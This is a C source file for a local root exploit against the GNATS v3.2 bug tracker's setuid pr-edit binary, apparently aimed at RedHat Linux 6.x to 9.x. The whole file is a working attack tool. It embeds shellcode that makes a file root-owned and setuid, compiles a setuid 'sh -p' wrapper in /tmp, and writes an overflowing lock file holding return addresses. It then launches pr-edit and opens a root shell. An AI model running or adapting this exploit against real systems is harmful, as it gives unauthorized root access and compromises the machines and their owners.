/*
**
** GNATS v3.2 (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** -- 
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>

#define DF_SIZE (255)
#define T_G "/usr/local/lib/gnats/pr-edit" /* It's Default path */
#define DF_LK_NM "./x82" /* User,Lock: x82 */
#define DF_MK_DIR "/tmp/"
#define DF_BK_SHL "/tmp/gnats-0day"
#define GCC_V_DEF (1)

void own_banrl();
void own_usage(char *own_f_nm);
int __gnats_adm_mkdir();
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type);
void psh_addr(FILE *fp,u_long addr);
int make_sh(char *own_d_nm);

struct stat s_t;
char df_mk_dir[(DF_SIZE)]; /* gnats-adm dir path */
char df_mk_lk[(DF_SIZE)]; /* user.lock file path */
char df_mk_tmp[(DF_SIZE)]; /* gnats.lock file path */
char shellcode[(DF_SIZE)]={
	/* chown root: ;chmod 6755 ; */
	0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
	0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
	0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
	0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
	0xeb,0x1d,0x5e,0x31,0xc0,0xb0,0xb6,0x89,
	0xf3,0x31,0xc9,0x31,0xd2,0xcd,0x80,0x31,
	0xc0,0xb0,0x0f,0x66,0xb9,0xed,0x0d,0xcd,
	0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80,0xe8,
	0xde,0xff,0xff,0xff
};

int make_sh(char *own_d_nm)
{
	FILE *fp;
	char d_src[(DF_SIZE)];
	char st_exec[(DF_SIZE)*2];
	
	memset((char *)d_src,0,sizeof(d_src));
	snprintf(d_src,sizeof(d_src)-1,"%s.c",own_d_nm);
	if((fp=fopen(d_src,"w"))==(NULL))
	{
		return(-1);
	}
	fprintf(fp,"main()\n"
		"{\n"
		"setreuid(0,0);"
		"setregid(0,0);"
		"setuid(0);"
		"setgid(0);"
		"system(\"sh -p\");"
		"\n}\n");
	fclose(fp);
	
	memset((char *)st_exec,0,sizeof(st_exec));
	snprintf(st_exec,sizeof(st_exec)-1,
		"gcc -o %s %s >/dev/null 2>&1",own_d_nm,d_src);
	system(st_exec);
	unlink(d_src);
	
	if(stat(own_d_nm,&s_t)==(0))
	{
		return(0);
	}
	else return(-1);
}

void own_banrl()
{
	fprintf(stdout,"\n GNATS v3.2 (The GNU bug-tracking system) local root exploit.\n");
	fprintf(stdout,"                                                by Xpl017Elz.\n\n");
}
void own_usage(char *own_f_nm)
{
	fprintf(stdout," Usage: %s -option [argument]\n\n",own_f_nm);
	fprintf(stdout,"\t -p [pr-edit path]  : GNATS pr-edit path.\n",(T_G));
	fprintf(stdout,"\t -t [target num]    : Select gcc version number.\n",(GCC_V_DEF));
	fprintf(stdout,"\t\t\t{0} : gcc old version.\n");
	fprintf(stdout,"\t\t\t{1} : gcc new version.\n");
	fprintf(stdout,"\t -b [target path]   : setuid shell path.\n");
	fprintf(stdout,"\t -h                 : Help information.\n\n");
	fprintf(stdout," Example: %s -p%s -t%d -b%s\n\n",own_f_nm,(T_G),(GCC_V_DEF),(DF_BK_SHL));
	exit(0);
}

int __gnats_adm_mkdir()
{
	memset((char *)df_mk_dir,0,sizeof(df_mk_dir));
	memset((char *)df_mk_tmp,0,sizeof(df_mk_tmp));
	snprintf(df_mk_dir,sizeof(df_mk_dir)-1,"%s/gnats-adm/",(DF_MK_DIR));
	snprintf(df_mk_tmp,sizeof(df_mk_tmp)-1,"%s/gnats-adm/gnats.lock",(DF_MK_DIR));
	mkdir(df_mk_dir,0x1ed);
	if((stat(df_mk_dir,&s_t)==(0))&&(S_ISDIR(s_t.st_mode)))
	{
		return(0);
	}
	else return(-1);
}

void psh_addr(FILE *fp,u_long addr)
{
	u_char __bf[4];
	memset((u_char *)__bf,0,sizeof(__bf));
	{
		__bf[0]=(addr&0x000000ff)>>0;
		__bf[1]=(addr&0x0000ff00)>>8;
		__bf[2]=(addr&0x00ff0000)>>16;
		__bf[3]=(addr&0xff000000)>>24;
	}
	fprintf(fp,"%c%c%c%c",__bf[0],__bf[1],__bf[2],__bf[3]);
}

int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type)
{
	FILE *fp;
	int g_g_nm;
#define DF_FIRST_JNK (1024)
#define DF_SECOND_JNK (100)
	int fst_junk_n=(DF_FIRST_JNK);
	int scn_junk_n=(DF_SECOND_JNK);

	memset((char *)df_mk_lk,0,sizeof(df_mk_lk));
	snprintf(df_mk_lk,sizeof(df_mk_lk)-1,"%s/x82.lock",(DF_MK_DIR));

	if(gv_type)
	{
		fst_junk_n+=8;
		scn_junk_n+=28;
	}
	if((fp=fopen(df_mk_lk,"w"))==(NULL))
	{
		return(-1);
	}
	for(g_g_nm=(0);g_g_nm<fst_junk_n;g_g_nm++)
	{
		fprintf(fp,"F");
	}
	(void)psh_addr(fp,(u_long)stdout);
	for(g_g_nm=(0);g_g_nm<scn_junk_n;g_g_nm++)
	{
		fprintf(fp,"S");
	}
	(void)psh_addr(fp,(u_long)own_sh);
	fclose(fp);
}

int main(int argc,char **argv)
{
	int w_g_dot_f;
	pid_t fk_pid;
	u_long own_sh_addl;
	char *own_exect[2];
	int gcc_v_on=(GCC_V_DEF);
	char pth_own[(DF_SIZE)]=(T_G);
	char bck_own[(DF_SIZE)]=(DF_BK_SHL);

	(void)own_banrl();
	while((w_g_dot_f=getopt(argc,argv,"P:p:T:t:B:b:Hh"))!=EOF)
	{
		extern char *optarg;
		switch(w_g_dot_f)
		{
			case 'P':
			case 'p':
				memset((char *)pth_own,0,sizeof(pth_own));
				strncpy(pth_own,optarg,sizeof(pth_own)-1);
				break;
				
			case 'T':
			case 't':
				if((gcc_v_on=(atoi(optarg)))>1)
				{
					(void)own_usage(argv[0]);
				}
				break;
				
			case 'B':
			case 'b':
				memset((char *)bck_own,0,sizeof(bck_own));
				strncpy(bck_own,optarg,sizeof(bck_own)-1);
				break;
				
			case 'H':
			case 'h':
				(void)own_usage(argv[0]);
			       	break;
				 
			case '?':
			       	(void)own_usage(argv[0]);
			       	break;
		}
	}

	fprintf(stdout," [0] Start, exploit.\n");
	if((stat((pth_own),&s_t)!=(0)))
	{
		fprintf(stderr," [-] pr-edit path: %s not found.\n\n",(pth_own));
		exit(-1);
	}
	fprintf(stdout," [+] exploit target: %s\n",(pth_own));
	fprintf(stdout," [1] Make setuid shell.\n");
	if((int)make_sh(bck_own)==(-1))
	{
		fprintf(stderr," [-] exploit failed.\n\n");
		exit(-1);
	}
	fprintf(stdout," [+] Setuid shell path: %s\n",(bck_own));
	fprintf(stdout," [2] Shellcode setting.\n");
	{
		own_sh_addl=((0xbfffffff)-(strlen(shellcode)+strlen(bck_own)));
		strncat(shellcode,bck_own,sizeof(shellcode)-strlen(shellcode)-1);
		own_exect[0]=(shellcode);
		own_exect[1]=(NULL);
	}
	fprintf(stdout," [+] Shellcode address: %p\n",own_sh_addl);
	fprintf(stdout," [3] Make `gnats-adm' directory.\n");
	if((__gnats_adm_mkdir())==(-1))
	{
		fprintf(stderr," [-] make directory failed.\n\n");
		exit(-1);
	}
	fprintf(stdout," [4] Make user.lock file.\n");
	if((__gants_adm_gnats_dot_lock_flow(own_sh_addl,gcc_v_on))==(-1))
	{
		fprintf(stderr," [-] make lockfile failed.\n\n");
		exit(-1);
	}
	fprintf(stdout," [+] Execute, Shellcode !!\n\n");
	if((fk_pid=fork())==(0))
	{
		execle(pth_own,pth_own,"-l",(DF_LK_NM),"-d",(DF_MK_DIR),(DF_LK_NM),(NULL),own_exect);
	}
	wait(&fk_pid);
	fprintf(stdout,"\n [5] Remove setting dir, files.\n");
	unlink(df_mk_lk);
	unlink(df_mk_tmp);
	rmdir(df_mk_dir);

	if((stat(bck_own,&s_t)==(0))&&(s_t.st_mode&S_ISUID))
	{
		fprintf(stdout," [+] exploit successfully.\n");
		fprintf(stdout," [*] It's root shell !!\n\n");
		execl((bck_own),(bck_own),(NULL));
	}
	else
	{
		fprintf(stderr," [-] exploit failed.\n\n");
		exit(-1);
	}
}

/* eoc */